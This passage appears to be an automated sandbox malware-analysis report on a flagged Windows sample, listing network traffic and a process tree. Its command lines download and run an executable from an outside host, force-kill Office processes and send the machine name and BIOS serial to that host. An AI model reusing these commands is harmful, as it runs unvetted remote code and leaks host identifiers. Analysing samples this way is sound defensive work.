                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:53.422095060 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74730
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:03.432136059 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.449157953 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.941029072 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:14.078160048 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74751
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.793411970 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.917871952 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74758
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:31.931428909 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:41.944936037 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:52.102634907 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.901746035 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:55.026235104 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74791
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:41:05.040879965 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:


                                                                                                                                                                                                                                                                  Statistics

                                                                                                                                                                                                                                                                  CPU Usage

                                                                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                                                                  Memory Usage

                                                                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                                                                                                                                  Behavior

                                                                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                                                                  System Behavior

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:0
                                                                                                                                                                                                                                                                  Start time:05:39:01
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe"
                                                                                                                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                                                                                                                  File size:5'650'432 bytes
                                                                                                                                                                                                                                                                  MD5 hash:36F1B6A1DF5C33A33DBA8396C877062D
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000000.2067844678.000000000040D000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000002.2899329779.0000000000B79000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000002.2899329779.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:1
                                                                                                                                                                                                                                                                  Start time:05:39:01
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                  Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:2
                                                                                                                                                                                                                                                                  Start time:05:39:01
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\24C7.tmp\my_cleaner2.bat" "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe""
                                                                                                                                                                                                                                                                  Imagebase:0x790000
                                                                                                                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:4
                                                                                                                                                                                                                                                                  Start time:05:39:02
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:\Users\user\TMP\cr-20241021-53901\ariac.exe -l log.txt -o clean.exe http://upjv.info/clean/clean2.exe
                                                                                                                                                                                                                                                                  Imagebase:0xd40000
                                                                                                                                                                                                                                                                  File size:5'596'672 bytes
                                                                                                                                                                                                                                                                  MD5 hash:53D237CBBDAC5AE3DC65C9EE8A51094D
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000004.00000002.2142911942.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000004.00000003.2142647323.0000000003186000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000004.00000002.2142911942.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000004.00000002.2143550967.000000000166D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000004.00000002.2143550967.0000000001660000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000004.00000002.2143628501.0000000003188000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:5
                                                                                                                                                                                                                                                                  Start time:05:39:08
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:clean.exe -y
                                                                                                                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                                                                                                                  File size:2'521'803 bytes
                                                                                                                                                                                                                                                                  MD5 hash:A527013DA966D9FD8C16E6BB70937CD2
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000005.00000002.2157879689.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000005.00000003.2144398167.00000000024F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000005.00000002.2157997210.00000000021C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000005.00000002.2158345471.0000000002630000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000005.00000002.2157879689.0000000000730000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000005.00000002.2157782435.0000000000530000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:6
                                                                                                                                                                                                                                                                  Start time:05:39:10
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:taskkill /IM WINWORD.EXE /T /F
                                                                                                                                                                                                                                                                  Imagebase:0x1e0000
                                                                                                                                                                                                                                                                  File size:74'240 bytes
                                                                                                                                                                                                                                                                  MD5 hash:CA313FD7E6C2A778FFD21CFB5C1C56CD
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:7
                                                                                                                                                                                                                                                                  Start time:05:39:11
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:taskkill /IM EXCEL.EXE /T /F
                                                                                                                                                                                                                                                                  Imagebase:0x1e0000
                                                                                                                                                                                                                                                                  File size:74'240 bytes
                                                                                                                                                                                                                                                                  MD5 hash:CA313FD7E6C2A778FFD21CFB5C1C56CD
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:8
                                                                                                                                                                                                                                                                  Start time:05:39:11
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:taskkill /IM SOFFICE.BIN /T /F
                                                                                                                                                                                                                                                                  Imagebase:0x1e0000
                                                                                                                                                                                                                                                                  File size:74'240 bytes
                                                                                                                                                                                                                                                                  MD5 hash:CA313FD7E6C2A778FFD21CFB5C1C56CD
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:9
                                                                                                                                                                                                                                                                  Start time:05:39:11
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:ping 127.0.0.1 -n 2
                                                                                                                                                                                                                                                                  Imagebase:0xc0000
                                                                                                                                                                                                                                                                  File size:18'944 bytes
                                                                                                                                                                                                                                                                  MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:10
                                                                                                                                                                                                                                                                  Start time:05:39:12
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe a \Users\user\TMP\cr-20241021-53901.zip \Users\user\TMP\cr-20241021-53901
                                                                                                                                                                                                                                                                  Imagebase:0xc50000
                                                                                                                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                                                                                                                  MD5 hash:77E556CDFDC5C592F5C46DB4127C6F4C
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000A.00000002.2210446103.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000A.00000002.2210406341.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000A.00000002.2210504115.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000A.00000002.2210504115.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:11
                                                                                                                                                                                                                                                                  Start time:05:39:15
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\wbem\WMIC.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:wmic bios get serialnumber
                                                                                                                                                                                                                                                                  Imagebase:0x110000
                                                                                                                                                                                                                                                                  File size:427'008 bytes
                                                                                                                                                                                                                                                                  MD5 hash:E2DE6500DE1148C7F6027AD50AC8B891
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000002.2223771083.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000003.2223024451.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000003.2223110402.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000002.2224729495.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000002.2224220104.0000000002A60000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000003.2223024451.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000003.2223110402.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000003.2223569597.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000002.2224793423.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000003.2222855195.0000000002B1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000002.2224864903.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000B.00000002.2224959404.0000000002B1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:12
                                                                                                                                                                                                                                                                  Start time:05:39:17
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\more.com
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:more +1 serialnumber.txt
                                                                                                                                                                                                                                                                  Imagebase:0xe70000
                                                                                                                                                                                                                                                                  File size:24'576 bytes
                                                                                                                                                                                                                                                                  MD5 hash:03805AE7E8CBC07840108F5C80CF4973
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000C.00000002.2226505928.0000000003070000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000C.00000002.2226559592.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000C.00000002.2226536723.0000000003130000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:14
                                                                                                                                                                                                                                                                  Start time:05:39:17
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:\Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH"
                                                                                                                                                                                                                                                                  Imagebase:0xd40000
                                                                                                                                                                                                                                                                  File size:5'596'672 bytes
                                                                                                                                                                                                                                                                  MD5 hash:53D237CBBDAC5AE3DC65C9EE8A51094D
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000003.2237351744.0000000001B67000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000003.2237260409.0000000001B66000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000002.2238482972.0000000001B68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000002.2238231270.0000000001810000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000002.2238231270.0000000001819000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000002.2238569276.0000000001CB4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000E.00000002.2238569276.0000000001CB0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:15
                                                                                                                                                                                                                                                                  Start time:05:39:18
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Mozilla Firefox\firefox.exe" "http://upjv.info/clean/clean.php?serial=F2LEUD3EOH"
                                                                                                                                                                                                                                                                  Imagebase:0x7ff79f9e0000
                                                                                                                                                                                                                                                                  File size:676'768 bytes
                                                                                                                                                                                                                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000F.00000002.2244829208.00000295A9E94000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
